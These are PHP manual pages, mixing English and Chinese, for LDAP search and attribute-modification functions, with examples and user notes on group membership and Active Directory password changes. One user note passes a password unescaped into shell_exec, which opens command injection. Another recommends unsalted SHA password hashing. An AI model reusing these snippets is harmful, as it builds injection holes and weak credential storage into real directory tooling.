Returns an array of values for the attribute on success and false on error. The number of values can be found by indexing "count" in the resultant array. Individual values are accessed by integer index in the array. The first index is 0.

LDAP allows more than one entry for an attribute, so it can, for example, store a number of email addresses for one person's directory entry all labeled with the attribute "mail"

    return_value["count"] = number of values for attribute
    return_value[0] = first value of attribute
    return_value[i] = ith value of attribute

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.

示例

Example #1 List all values of the "mail" attribute for a directory entry

<?php
// $ds is a valid LDAP\Connection instance for a directory server

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

// $entry is a valid entry identifier from a prior call to
// one of the calls that returns a directory entry

$values = ldap_get_values($ds, $entry, "mail");

echo $values["count"] . " email addresses for this entry.<br />";

for ($i=0; $i < $values["count"]; $i++) {
echo $values[$i] . "<br />";
}
?>

参见

  • ldap_get_values_len() - Get all binary values from a result entry

User Contributed Notes

viper_sb at IGETTOMUCHSPAMhotmail dot com 25-Mar-2003 06:24
Well this took me a while to find the problem, so I'm posting in case someone else runs in to this.

$sr = ldap_search($ds, "cn=me", "(objectclass=*)");
$entry = ldap_first_entry($ds, $sr);
do {
  // do other stuff
  $sr = "something else now";
  $values = ldap_get_values($ds, $entry, "attirib1");
  // do other stuff
} while ($entry = ldap_next_entry($ds, $entry));

If you change the search resource $sr to something else even though it's not used again it will kill the page it'll be a blank page and if you view the code you'll get different things depending on something no idea what.

This kepted happening I had forgotten I had used $sr so I was using it again and it would just not show the page whenever I used ldap_get_values, if this is a feature it would be nice to know. I haven't seen it happen with other functions.
software at inebria dot com 21-Jun-2001 10:34
It wasn't immediately obvious to me that the ldap_get_values function does not work with binary data - only strings.  If you fetch binary data with ldap_get_values you don't get a warning - just some trash.  For binary data you have to use ldap_get_values_len.


Single-level search

  • ? ldap_get_values
  • ldap_mod_add_ext ?
  • PHP Manual
  • LDAP 函数
  • Single-level search

ldap_list

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_list — Single-level search

说明

ldap_list(
LDAP\Connection|array $ldap,
array|string $base,
array|string $filter,
array $attributes = [],
int $attributes_only = 0,
int $sizelimit = -1,
int $timelimit = -1,
int $deref = LDAP_DEREF_NEVER,
?array $controls = null
): LDAP\Result|array|false

Performs the search for a specified filter on the directory with the scope LDAP_SCOPE_ONELEVEL.

LDAP_SCOPE_ONELEVEL means that the search should only return information that is at the level immediately below the base given in the call. (Equivalent to typing "ls" and getting a list of files and folders in the current working directory.)

It is also possible to perform parallel searches. In this case, the first argument should be an array of LDAP\Connection instances, rather than a single one. If the searches should not all use the same base DN and filter, an array of base DNs and/or an array of filters can be passed as arguments instead. These arrays must be of the same size as the LDAP\Connection instances array, since the first entries of the arrays are used for one search, the second entries are used for another, and so on. When doing parallel searches an array of LDAP\Result instances is returned, except in case of error, when the return value will be false.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

base

The base DN for the directory.

filter

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attributes_only

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

controls

Array of LDAP Controls to send with the request.

返回值

返回 LDAP\Result 实例、 LDAP\Result 实例数组 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

示例

Example #1 Produce a list of all organizational units of an organization

<?php
// $ds is a valid LDAP\Connection instance for a directory server

$basedn = "o=My Company, c=US";
$justthese = array("ou");

$sr = ldap_list($ds, $basedn, "ou=*", $justthese);

$info = ldap_get_entries($ds, $sr);

for ($i=0; $i < $info["count"]; $i++) {
echo $info[$i]["ou"][0];
}
?>

参见

  • ldap_search() - Search LDAP tree

User Contributed Notes

There are no user contributed notes for this page.


Add attribute values to current attributes

  • ? ldap_list
  • ldap_mod_add ?
  • PHP Manual
  • LDAP 函数
  • Add attribute values to current attributes

ldap_mod_add_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_add_ext — Add attribute values to current attributes

说明

ldap_mod_add_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Does the same thing as ldap_mod_add() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_mod_add()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

参见

  • ldap_mod_add() - Add attribute values to current attributes
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


Add attribute values to current attributes

  • ? ldap_mod_add_ext
  • ldap_mod_del_ext ?
  • PHP Manual
  • LDAP 函数
  • Add attribute values to current attributes

ldap_mod_add

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_add — Add attribute values to current attributes

说明

ldap_mod_add(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Adds one or more attribute values to the specified dn. To add a whole new object see ldap_add() function.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

entry

An associative array listing the attirbute values to add. If an attribute was not existing yet it will be added. If an attribute is existing you can only add values to it if it supports multiple values.

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

注释

Note: 此函数可安全用于二进制对象。

参见

  • ldap_mod_add_ext() - Add attribute values to current attributes
  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_mod_replace() - Replace attribute values with new ones
  • ldap_modify_batch() - Batch and execute modifications on an LDAP entry

User Contributed Notes

bart-holland at wedefo dot nl 06-Nov-2013 03:44
Adding a user to a group in Apple's OpenDirectory goes as follows:

<?php

$dn = "cn=groupname,cn=groups,dc=example,dc=com";
$entry['memberuid'] = "username";

ldap_mod_add($connect, $dn, $entry);

?>
theiderich AT laweekly dot com 15-Jul-2005 03:17
When adding/editing attributes for a user, the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
Claudio Lente <nelchael at ig dot com dot br> 26-Feb-2003 02:03
Using PHP 4.2.3 with IIS 5 and Win2k Server. My confs are:

$ldap_srvr = 'servername' ;
$ldap_port = 389;
$ldap_con = ldap_connect($ldap_srvr, $ldap_port);
$ldap_rdn  = "username";
$ldap_pwd = "__password__";

$ldap_vbind = ldap_bind($ldap_con, $ldap_rdn, $ldap_pwd);

$base_dn= 'CN=username,CN=Users,DC=domain,DC=org,DC=us
' ;
$ldap_filter= 'objectClass=*';

$info['mail']='username@domain.org.us';

ldap_mod_add($ldap_con, $base_dn, $info);
ldap_add($ldap_con, $base_dn, $info);

this generate an error:
- Warning: LDAP: modify operation could not be completed. in

ldap_modify($ldap_con, $base_dn, $info);

this function corretly.

It?s all.
JoshuaStarr at aelana dot com 30-Aug-2001 10:52
To add a new attribute with a single value:

$entry[mail] = "newmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);

To add a new attribute with multiple values:

$entry[mail][] = "newmail@aelana.com";
$entry[mail][] = "altnewmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);


Delete attribute values from current attributes

  • ? ldap_mod_add
  • ldap_mod_del ?
  • PHP Manual
  • LDAP 函数
  • Delete attribute values from current attributes

ldap_mod_del_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_del_ext — Delete attribute values from current attributes

说明

ldap_mod_del_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Does the same thing as ldap_mod_del() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_mod_del()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

参见

  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


Delete attribute values from current attributes

  • ? ldap_mod_del_ext
  • ldap_mod_replace_ext ?
  • PHP Manual
  • LDAP 函数
  • Delete attribute values from current attributes

ldap_mod_del

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_del — Delete attribute values from current attributes

说明

ldap_mod_del(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Removes one or more attribute values from the specified dn. Object deletions are done by the ldap_delete() function.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

entry

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

参见

  • ldap_mod_del_ext() - Delete attribute values from current attributes
  • ldap_mod_add() - Add attribute values to current attributes
  • ldap_mod_replace() - Replace attribute values with new ones
  • ldap_modify_batch() - Batch and execute modifications on an LDAP entry

User Contributed Notes

gsgleason at gmail dot com 26-Jan-2015 08:03
To remove all of a particular attribute, feed it an empty array.

For example, to remove all members from a group:

<?php
ldap_mod_del($ldapconn,$groupDN,array("member" => array()));
?>
bart-holland at wedefo dot nl 07-Nov-2013 03:27
Te remove a user from a group in Apple's Open Directory, you need to also remove the members generated uid from the group.

Removing the users is as follows:

<?php

//setting variables
$ldapDN = "uid=myadmin,cn=users,dc=myserver,dc=com';
$ldapPass = "somepass";

$groupDn = 'cn=mygroup,cn=groups,dc=myserver,dc=com'
$removal = array(
    "memberuid"=>"username",
    "apple-group-memberguid"=>"846DE847-D73D-428D-83A8-B95B606C511B"
);

//connect and bind
$ldapconnect = ldap_connect("myserver.com",389);
ldap_bind($ldapconnect, $ldapDN, $ldapPass);

//removing member from group
ldap_mod_del($ldapconnect, $groupDn, $removal);

//unbind
ldap_unbind($ldapconnect);

?>
jonatam dot ribeiro at hotmail dot com 07-May-2013 02:44
We often need to delete "objectclass" below follows a simple code to make this successful removal.

$userdataModifydelSamba = array();
$userdataModifydelSamba['objectClass'] = array();
$userdataModifydelSamba['objectClass'][0] = 'sambaSamAccount';

$userdataModifydelSamba['sambasid'] = array();
$userdataModifydelSamba['sambantpassword'] = array();
$userdataModifydelSamba['sambahomedrive'] = array();
$userdataModifydelSamba['sambadomainname'] = array();
$userdataModifydelSamba['sambaacctflags'] = array();
$userdataModifydelSamba['sambaprimarygroupsid'] = array();
$userdataModifydelSamba['sambapwdlastset'] = array();

$sucess = @ldap_mod_del($connection, $dn, $result);
if(!$sucess)
{
   throw new Exception("error " . ldap_err2str(ldap_errno($connection)));
}
06-Apr-2006 08:35
For anyone interested in removing a user from a group, you can use ldap_mod_del() as follows:

$group = 'CN=mygroup,OU=myOU,DC=mydomain,DC=com';

$group_info['member'] = 'CN=User\, Test,CN=Users,DC=mydomain,DC=com';

ldap_mod_del($ldap, $group, $group_info);

I have tested this using Active Directory on a Win 2K3 server.
thomas dot thiel at tapgmbh dot com 09-Dec-2002 08:42
and please don't forget:
you can't delete all attributes, when at least one is required.
JoshuaStarr at aelana dot com 13-May-2002 10:24
The above example has also been proven to work in the iPlanet / Sun One Directory Server 5.0/5.1. As an example:

$attrs["mail"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

or

$attrs["mail"] = array();
$attrs["telephonenumber"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

This will remove all occurences of attributes in the entry specified by the dn.
ral at royal dot net 30-Aug-2001 08:09
At least with OpenLDAP 1.2.x
to remove an attribute regardless of it's value you have to assign:

$attrs["AttributeName"]=array();

after ldap_mod_del($ds,$dn,$attrs)
all occurences of AttributeName will be removed
ral at royal dot net 22-Jul-2001 10:33
To remove all instances of an attribute:

$entry["attrname"][]="value1";
$entry["attrname"][]="value2";
...
$entry["attrname"][]="valueN";

ldap_mod_del($ds, $dn, $entry);
twopairs at solfy dot com 22-Jul-2001 05:05
<pre>
uid: testuser
mail: testuser@test.net
mail: testuser@somewhere.com
</pre>

How to remove the values of mail so that only the second value for mail exists:

<pre>
$entry["mail"] = "testuser@test.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

if you want to remove all instances of an attribute.....
==>
<pre>
$entry["mail"][0] = "testuser@test.net";
$entry["mail"][1] = "testuser@somewhere.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

are not?
sam_freund at yahoo dot com 05-Dec-2000 12:11
Using ldap_modify with a blank string works if you aren't propagating your LDAP database, even though it returns the error. Still, I'd say don't do it, as it smacks of something that will be fixed in a future version.
mark at cushman dot net 20-Nov-2000 09:17
I have found that the syntax:

$entry["mail"] = "";

Will NOT delete the mail attribute using the OpenLDAP server.  You must specify the attribute value to delete it successfully, otherwise you will recieve an "Invalid Syntax" error from the server.

The error: "Inappropriate Matching" will be displayed if the attribute you are trying to delete has no equality rule in the schema.  I had a problem deleting the attribute facsimilieTelephoneNumber, and it was because my core.schema file did not have an EQUALITY definition for that attribute.  I copied the telephoneNumber EQUALITY rule and it worked perfectly.
arjanw at bigfoot dot com 08-Aug-2000 11:15
To remove all instances of an attribute you can use ldap_modify with an empty value for that attribute.

$entry["mail"] = "";
$result = ldap_modify($connID, $dn, $entry);
arimus at apu dot edu 27-Apr-2000 07:35
After a couple hours of searching and not finding anything on the ldap_mod_del function worth anything, I started trying to figure out myself what format the "array entry" parameter needed to be in.  Here is what I found:

The entry array is a hash with the attribute name as the hash key and the specific value you want deleted for that attribute as the corresponding hash value.

-- Example

Current values for the attributes of of a particular entry:

     uid: testuser
     mail: testuser@test.net
     mail: testuser@somewhere.com

How to remove the first value of mail so that only the second value for mail exists:

     $entry["mail"] = "testuser@test.net";
     $result = ldap_mod_del($connID, $dn, $entry);

So if you want to remove all instances of an attribute, you have to do it one by one.


Replace attribute values with new ones

  • ? ldap_mod_del
  • ldap_mod_replace ?
  • PHP Manual
  • LDAP 函数
  • Replace attribute values with new ones

ldap_mod_replace_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_replace_ext — Replace attribute values with new ones

说明

ldap_mod_replace_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Does the same thing as ldap_mod_replace() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_mod_replace()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

参见

  • ldap_mod_replace() - Replace attribute values with new ones
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


Replace attribute values with new ones

  • ? ldap_mod_replace_ext
  • ldap_modify_batch ?
  • PHP Manual
  • LDAP 函数
  • Replace attribute values with new ones

ldap_mod_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_replace — Replace attribute values with new ones

说明

ldap_mod_replace(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Replaces one or more attributes from the specified dn. It may also add or remove attributes.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

entry

An associative array listing the attributes to replace. Sending an empty array as value will remove the attribute, while sending an attribute not existing yet on this entry will add it.

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

注释

Note: 此函数可安全用于二进制对象。

参见

  • ldap_mod_replace_ext() - Replace attribute values with new ones
  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_mod_add() - Add attribute values to current attributes
  • ldap_modify_batch() - Batch and execute modifications on an LDAP entry

User Contributed Notes

giodev at panozzo dot it 27-Feb-2020 07:50
An bettter method to create the unicodePwd Active Directory LDAP field from PHP is:

$unicodePwd = iconv("UTF-8", "UTF-16LE", "\"".$password."\"");

It works when $password is coming from a UTF-8 page. If your $password is not utf-8, change the 1st parameter of iconv.
dynamik 15-Feb-2013 06:11
Using this function to 'replace' an Active Directory password requires the "Reset Password" security permission as opposed to the "Change Password" permission (which is assigned by default to SELF)
Anonymous 01-Jun-2012 08:32
this can not be used to change a password on an AD server that requires you to send the old and new password.

in order to do this use on shuts an sever make an admin-account that allows to change other ppl pw without suppling the old password first.
plex909 30-Sep-2008 03:23
Here's an easy way to encode AD "unicodepwd" values from linux...

Download and install recode...
http://www.gnu.org/software/recode/recode.html

Then write something like this...
<?php
function ADUnicodePwdValue($plain_txt_value)
{
    return str_replace("\n", "", shell_exec("echo -n '\"" . $plain_txt_value . "\"' | recode latin1..utf-16le/base64"));
}

$user["unicodepwd"] = ADUnicodePwdValue("my_password");

?>

[EDITOR thiago NOTE: The following text was sent by boyvanderlaak at gmail dot com as an important complement]

if you do not have access to your linux box but have Multibyte String enabled you could try the following for AD 2008:

<?php
$info["unicodePwd"] = mb_convert_encoding('"' . $newPassword . '"', 'utf-16le');
?>
chris at mr2madness dot com 18-Sep-2007 07:44
You can use arrays for multiple attributes example:

<?php
$entry[mail] = array("example@example.com","example2@example.com");
$results = ldap_mod_add($ldapConnID,$dn, $entry);
?>
or as i did for creating anew user:
<?php
$adduserAD["objectClass"] = array("top","person","organizationalPerson","user");
?>
mike dot rosile at interzonegames dot com 20-Jul-2007 09:01
Here is some great information from the OpenLDAP FAQs regarding changing a userPassword attribute with PHP:

http://www.openldap.org/faq/data/cache/347.html

$userpassword = "{SHA}" . base64_encode( pack( "H*", sha1( $pass ) ) );
aaronfulton at softhome dot net 03-Dec-2006 08:24
Before you modify values in your ldap directory, first make sure that you have permission to do so.  In openldap adding the following acl in slap.conf will allow the user to modify their own userpassword.

access to attr=userPassword
        by self write
        by anonymous auth
        by * none
erwann at zeflip dot com 04-Oct-2006 10:41
If you do not wish to set up SSL on your active directory, and you are running on Windows, you can use COM and ADSI to set the new password for a user, or to active a user:

<?PHP
// to set a user password
  // server is the ldap server
  // newuser_dn is the full dn of the user you want to modify
  // newuser_password is the password you wish to set for the user

    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->SetPassword($newuser_password);
    $user->SetInfo();

// to activate a user
    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->AccountDisabled = false;
    $user->SetInfo();

?>
frederic dot jacquot at insa-lyon dot fr 09-Jun-2004 04:26
Changing a user password in Active Directory.
Securely connect (using ldaps) to the Active Directory and bind using an administrator account.

In this example, $userDn contains the dn of the user I want to modify, and $ad is the Active Directory ldaps connection)

$newPassword = "MyPassword";
$newPassword = "\"" . $newPassword . "\"";
$len = strlen($newPassword);
for ($i = 0; $i < $len; $i++)
        $newPassw .= "{$newPassword{$i}}\000";
$newPassword = $newPassw;
$userdata["unicodepwd"] = $newPassword;
$result = ldap_mod_replace($ad, $userDn, $userdata);
if ($result) echo "User modified!" ;
else echo "There was a problem!";

I found it hard to get a proper encoding for the unicodepwd attribute so this piece of code might help you ;-)
18-Jul-2002 11:32
Sometime,we cannot replace ldap_mod_replace  function  with ldap_mod_del function and ldap_mod_add fuction .We  don't have permission to delete an attribute but  we can replace it.
ondrej at sury dot cz 26-Feb-2002 05:31
in openldap 2.0.x you can use method with mod_del/mod_add only if the attribute have defined EQUALITY rule.
JoshuaStarr at aelana dot com 30-Aug-2001 11:28
To modify an attribute with a single value:
  $entry[mail] = "newmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify an attribute with multiple values:
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify multiple attributes
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $entry[c]      = "US";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);
oyvindmo at initio dot no 30-Nov-2000 04:57
ldap_mod_replace() and ldap_modify() are _exactly_ the same.  So, the comment that ldap_mod_replace() "performs the modification at the attribute level as opposed to the object level", has no root in reality.
yife at myrice-ltd dot com 16-Nov-2000 01:57
if i want to replace the special attribute but i don't replace other attribute ,i just use "ldap_mod_del" and "ldap_mod_add" ,the function seems to that


Batch and execute modifications on an LDAP entry

  • ? ldap_mod_replace
  • ldap_modify ?
  • PHP Manual
  • LDAP 函数
  • Batch and execute modifications on an LDAP entry

ldap_modify_batch

(PHP 5.4 >= 5.4.26, PHP 5.5 >= 5.5.10, PHP 5.6 >= 5.6.0, PHP 7, PHP 8)

ldap_modify_batch — Batch and execute modifications on an LDAP entry

说明

ldap_modify_batch(
LDAP\Connection $ldap,
string $dn,
array $modifications_info,
?array $controls = null
): bool

Modifies an existing entry in the LDAP directory. Allows detailed specification of the modifications to perform.

参数

ldap

An LDAP resource, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

modifications_info

An array that specifies the modifications to make. Each entry in this array is an associative array with two or three keys: attrib maps to the name of the attribute to modify, modtype maps to the type of modification to perform, and (depending on the type of modification) values maps to an array of attribute values relevant to the modification.

Possible values for modtype include:

LDAP_MODIFY_BATCH_ADD

Each value specified through values is added (as an additional value) to the attribute named by attrib.

LDAP_MODIFY_BATCH_REMOVE

Each value specified through values is removed from the attribute named by attrib. Any value of the attribute not contained in the values array will remain untouched.

LDAP_MODIFY_BATCH_REMOVE_ALL

All values are removed from the attribute named by attrib. A values entry must not be provided.

LDAP_MODIFY_BATCH_REPLACE

All current values of the attribute named by attrib are replaced with the values specified through values.

Note that any value for attrib must be a string, any value for values must be an array of strings, and any value for modtype must be one of the LDAP_MODIFY_BATCH_* constants listed above.

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

示例

Example #1 Add a telephone number to a contact

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "telephoneNumber",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => ["+1 555 555 1717"],
],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Example #2 Rename a user

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "sn",
"modtype" => LDAP_MODIFY_BATCH_REPLACE,
"values" => ["Smith-Jones"],
],
[
"attrib" => "givenName",
"modtype" => LDAP_MODIFY_BATCH_REPLACE,
"values" => ["Jack"],
],
];
ldap_modify_batch($connection, $dn, $modifs);
ldap_rename($connection, $dn, "cn=Jack Smith-Jones", NULL, TRUE);
?>

Example #3 Add two e-mail addresses to a user

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "mail",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => [
"jack.smith@example.com",
"jack.smith-jones@example.com",
],
],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Example #4 Change a user's password

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "userPassword",
"modtype" => LDAP_MODIFY_BATCH_REMOVE,
"values" => ["Tr0ub4dor&3"],
],
[
"attrib" => "userPassword",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => ["correct horse battery staple"],
],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Example #5 Change a user's password (Active Directory)

<?php
function adifyPw($pw)
{
return iconv("UTF-8", "UTF-16LE", '"' . $pw . '"');
}

$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=ad,dc=example,dc=com";
$modifs = [
[
"attrib" => "unicodePwd",
"modtype" => LDAP_MODIFY_BATCH_REMOVE,
"values" => [adifyPw("Tr0ub4dor&3")],
],
[
"attrib" => "unicodePwd",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => [adifyPw("correct horse battery staple")],
],
];
ldap_modify_batch($connection, $dn, $modifs);

User Contributed Notes

There are no user contributed notes for this page.


别名 ldap_mod_replace

  • ? ldap_modify_batch
  • ldap_next_attribute ?
  • PHP Manual
  • LDAP 函数
  • 别名 ldap_mod_replace

ldap_modify

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_modify — 别名 ldap_mod_replace()

说明

此函数是该函数的别名： ldap_mod_replace().

参见

  • ldap_rename() - Modify the name of an entry

User Contributed Notes

Anonymous 01-Mar-2015 06:52
I ran into a rather annoying issue when trying to add a user to a usergroup in Active Directory.

Active Directory tends to not be particularly happy when you try modifying the "memberOf" attribute (through ldap_mod_add/ldap_mod_replace), and will output a warning/error somewhere along the lines of:

Warning: ldap_mod_add(): Modify: Server is unwilling to perform in ...

If you want to add a user to a usergroup, you need to add the user as a member of the group, rather than adding to the memberOf attribute of the group:

<?php
    function ldap_addToGroup($username, $group) {
        $dn = "CN=$group,OU=Accounts,DC=DC1,DC=DC2"; // distinguished name/DN of the group you want to add to
        $info["member"] = "CN=$username,OU=Accounts,DC=DC1,DC=DC2"; // DN of the user you want to add
        return ldap_modify($ldapconn, $dn, $info);
    }
?>

Hope this helps someone.
Anonymous 01-Mar-2015 06:51
I ran into a rather annoying issue when trying to add a user to a usergroup in Active Directory.

Active Directory tends to not be particularly happy when you try modifying the "memberOf" attribute (through ldap_mod_add/ldap_mod_replace), and will output a warning/error somewhere along the lines of:

Warning: ldap_mod_add(): Modify: Server is unwilling to perform in ...

If you want to add a user to a usergroup, you need to add the user as a member of the group, rather than adding to the memberOf attribute of the group:

<?php
    function ldap_addToGroup($username, $group) {
        $dn = "CN=$group,OU=Accounts,DC=DC1,DC=DC2"; // distinguished name/DN of the group you want to add to
        $info["member"] = "CN=$username,OU=Accounts,DC=DC1,DC=DC2"; // DN of the user you want to add
        return ldap_modify($ldapconn, $dn, $info);
}
?>

Hope this helps someone.
spam at bilgoraj dot info 02-Aug-2013 10:38
If You can`t add attribute objectclass to existing object  using ldap_modify - use ldap_mod_add - it works.
php_notes at grumz dot net 18-Apr-2007 06:09
Following goetz at rvs dot uni-hannover dot de's comment, it is not exactly true that ldap_modify can't change objectclass.

In fact, it's impossible to add an objectclass which is set as STRUCTURAL in the schema description. But you can add an objectclass set as AUXILIARY. See OpenLDAP FAQ below for explanation why :

http://www.openldap.org/faq/data/cache/1341.html

For example, if you have an ldap entry of type "device", which is a structural objectclass, named "cn=myNetCard,ou=Networks,dc=example,dc=com", you can do this :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ieee802Device"; // add an auxiliary objectclass
$entry["macAddress"][0] = "aa:bb:cc:dd:ee:ff";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

But this will not work :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ipNetwork"; // add a structural objectclass
$entry["ipNetworkNumber"][0] = "1.2.3.4";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

You will get the following error : "Cannot modify object class"
kevin at guarana dot org 02-Apr-2007 06:44
If you're seeing confusing "Type or value exists" errors from ldap_modify, the reason could be that you're attempting to add two identical values for a multi-valued attribute.  ie, something like:

<?php
$le = array("mail" => array("foo@bar.com", "foo@bar.com"));
$result = ldap_modify($ldap_link, $dn, $le);
?>
